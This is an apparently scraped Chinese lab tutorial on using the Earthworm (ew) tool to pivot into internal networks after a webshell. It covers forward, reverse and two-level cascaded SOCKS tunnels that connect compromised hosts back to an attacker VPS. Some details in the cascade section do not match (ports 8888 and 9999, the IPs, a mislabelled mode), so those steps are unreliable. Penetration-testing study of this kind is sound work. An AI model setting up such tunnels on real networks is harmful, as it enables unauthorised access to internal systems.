天天看點

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

文章目錄

    • 一、實驗環境:
    • 二、工具:
    • 三、概念:
    • 四、學習目的:
    • 五、ew(Earthworm)介紹:
    • 六、ew(Earthworm)使用說明:
    • 七、ew(Earthworm)正向代理(适用于被控伺服器擁有一個公網IP):
      • 1. 場景:
      • 2. 網絡拓撲圖:
      • 3. 說明:
      • 4. 實驗過程:
    • 八、ew(Earthworm)反向代理:
      • 1. 一級代理:
        • 1.1 場景:
        • 1.2 網絡拓撲圖:
        • 1.3 說明:
        • 1.4 實驗過程:
      • 2. 二級代理(一):
        • 2.1 場景:
        • 2.2 網絡拓撲圖:
        • 2.3 說明:
        • 2.4 實驗過程:

一、實驗環境:

角色 系統 網卡 IP(網段)
攻擊機 windows10虛拟機 NAT 192.168.100.151
攻擊者的公網vps windows10虛拟機 NAT 192.168.100.152
被控伺服器 windows08虛拟機

NAT

VMnet1

192.168.100.158

192.168.10.10

内網主機 windows03虛拟機 VMnet1 192.168.10.11

二、工具:

ew(Earthworm)内網穿透工具

proxifier代理工具用戶端

三、概念:

  内網滲透不光隻是反彈一個shell,反彈一個端口,我們更需要對内網進行更深一步的掃描和滲透,這時候就需要找到一個代理伺服器,充當外網和内網資料轉發的節點,通過這個被我們控制的伺服器,把所在網段的流量轉發到公網(網際網路)。

  是以出現了反彈代理,也叫反彈socket。

四、學習目的:

  在我們進行滲透測試過程中,獲得了目标伺服器的getshell權限後,要對内網其它伺服器或者主機進一步滲透;這樣的話,需要對其他主機進行資訊收集,端口、服務探測及漏洞掃描等操作。

  進行這樣操作,隻進行反彈shell和端口轉發已經不能滿足需求,需要進一步進行反彈代理,通過我們控制的目标伺服器,把目标伺服器作為代理伺服器,充當外網和内網資料轉發的節點,把所在内網網段的流量引出到公網,這樣的話,就友善我們對目标伺服器所在内網網段的其他主機進行探測及漏洞利用了。

五、ew(Earthworm)介紹:

  EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在複雜網絡環境下完成網絡穿透。

  該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆松土。

  工具包中提供了多種可執行檔案,以适用不同的作業系統,Linux、Windows、MacOS、Arm-Linux 均被包括其内。

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

六、ew(Earthworm)使用說明:

  該工具共有 6 種指令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
D:\ew>ew_for_Win.exe -h
版本:free1.2
./xxx ([-options] [values])*
選項 :
例如:./xxx -s ssocksd -h
-s   指定工作模式。工作模式支援如下:
     ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave
     ssocksd     建立正向socks代理服務端,監聽在本地,直接把目前環境socks代理出去。
     rssocks     建立反向socks代理服務端
     rcsocks     反向socks代理用戶端
     lcx_tran    正向tcp端口轉發,監聽在本地
     lcx_slave   反向tcp轉發用戶端
     lcx_listen  反向tcp服務端
     
 
-l   listenport為伺服器打開一個監聽端口。
-d   refhost 設定反射主機位址。
-e   refport 設定反射端口。
-f   connhost 設定連接配接主機位址。
-g   connport 設定連接配接端口。
-h   help 顯示幫助文本,通過添加 -s 參數,您還可以檢視更詳細的幫助。
-a   about 顯示關于頁面
-v   version 顯示版本。
-t   usectime 設定逾時的毫秒數。 預設的值為 1000 
           

可以參考:http://rootkiter.com/EarthWorm/

七、ew(Earthworm)正向代理(适用于被控伺服器擁有一個公網IP):

1. 場景:

  目标網絡邊界伺服器存在公網IP且可任意開監聽端口。

2. 網絡拓撲圖:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

3. 說明:

  正向代理是伺服器開放監聽端口,用戶端(攻擊者)主動連接配接伺服器的端口。

  适用于被控伺服器擁有一個公網IP。

4. 實驗過程:

1、在被控主機使用ew打開一個監聽端口:

指令:

ew_for_Win.exe -s ssocksd -l 6666
-s          指定工作模式
ssocksd     建立正向socks代理服務端,監聽在本地,直接把目前環境socks代理出去
-l          listenport為伺服器打開一個監聽端口
           
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

2、檢視監聽端口是否打開,可以看出監聽端口已經打開:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

3、使用proxifier代理工具用戶端連接配接ew(Earthworm)的正向連接配接服務端:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

4、在攻擊機上面連接配接被控伺服器所在内網段的内網主機192.168.10.11:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

八、ew(Earthworm)反向代理:

1. 一級代理:

1.1 場景:

  目标網絡邊界不存在公網IP,能夠通路内網資源,可以通路公網,需要通過反彈方式建立 socks 代理。

1.2 網絡拓撲圖:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

1.3 說明:

  反向代理是用戶端開發端口,伺服器連接配接用戶端。

   适用于目标機器沒有公網IP,但可通路内網資源。

1.4 實驗過程:

1、在公網vps添加轉接隧道,将6666收到的代理請求轉交給反連8888端口的被控伺服器:

指令:

ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s          指定工作模式
rcsocks     反向socks代理用戶端
-l          listenport在代理用戶端設定監聽端口,将6666收到的 代理請求 轉交給反連8888端口的被控伺服器。
-e          refport設定反彈端口,用于接收被控伺服器反彈過來的代理流量。
           
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

2、在被控伺服器上啟動SOCKS v5服務并反彈到公網vps主機的8888端口

指令:

ew_for_Win.exe -s rssocks -d 192.168.100.152 -e 8888
-s          指定工作模式
rssocks     建立反向socks代理服務端
-d          refhost設定反彈主機位址(IP)。
-e          refport設定反彈端口,反彈給公網vps開啟的8888端口。
           
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

3、在公網vps出現以下界面,說明連接配接成功:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

4、使用proxifier代理工具用戶端連接配接公網vps上ew(Earthworm)的監聽的端口:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

5、出現以下頁面時,說明代理成功(如果測試時,沒有測試成功,需要在攻擊者的公網vps的ew用戶端指令行中敲一下Enter鍵):

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

6、在攻擊機上面連接配接被控伺服器所在内網段的内網主機192.168.10.11:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

2. 二級代理(一):

2.1 場景:

  在獲得邊界伺服器【被控主機1】的webshell後,通過橫向移動到内網環境1中的【被控主機2】,發現【被控主機2】同時處于另一個内網環境2中,但【被控主機2】所處的内網環境2無法通路公網,公網也無法通路【被控主機2】所在内網環境2 ,【被控主機2】卻可以單向通路【被控主機1】,這時需要把【被控主機2】所在的内網環境2的流量代理出來。

2.2 網絡拓撲圖:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

2.3 說明:

  反向代理是用戶端開發端口,伺服器連接配接用戶端。

   适用于目标機器沒有公網IP,但可通路内網資源。

2.4 實驗過程:

1、在公網vps添加轉接隧道,将6666端口收到的代理請求流量轉交給反連8888端口的被控主機:

指令:

ew_for_Win.exe -s rcsocks -l 6666 -e 8888
-s          指定工作模式
rcsocks     反向socks代理用戶端
-l          listenport在代理用戶端設定監聽端口,将6666收到的 代理請求 轉交給反連8888端口的被控伺服器。
-e          refport設定反彈端口,用于接收被控伺服器反彈過來的代理流量。
           
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

2、在被控服主機1上啟動監聽本機端口9999,并将9999端口接收到的代理流量,轉發給攻擊者的公網vps的8888端口:

指令:

ew_for_Win.exe -s lcx_tran -l 被控主機1本機端口 -f 攻擊者的公網vps_IP -g 8888
ew_for_Win.exe -s lcx_tran -l 9999 -f 192.168.100.152 -g 8888
-s          指定工作模式
rssocks     建立反向socks代理服務端
-l          listenport在被控主機1上設定監聽端口9999,将9999收到的 代理請求 轉交給攻擊者的公網vps的8888端口。
-f          connhost 設定連接配接主機位址(IP)。
-g          connport 設定連接配接端口。
這個指令的意思就是,把本機9999接收到的代理流量,轉發到攻擊者公網vps的192.168.100.152的8888端口上。
           
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

3、在被控主機2啟動SOCKS v5代理服務端,并反彈到被控主機1的8888端口 :

ew_for_Win.exe -s rssocks -d 172.16.10.10 -e 9999
-s          指定工作模式
rssocks     建立反向socks代理服務端
-d          refhost設定反彈主機位址(IP)。
-e          refport設定反彈端口,反彈給公網vps開啟的8888端口。
這個指令的意思就是在被控主機2啟動SOCKS v5代理服務端,把本機的代理流量反向代理到被控伺服器1的9999端口。
           
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

4、使用proxifier代理工具用戶端連接配接公網vps上ew(Earthworm)的監聽的端口:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發

5、在攻擊機上面連接配接第二級内網被控主機所在内網段的内網主機10.1.1.2:

【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發
【内網—内網轉發】——代理轉發_ew(Earthworm)代理轉發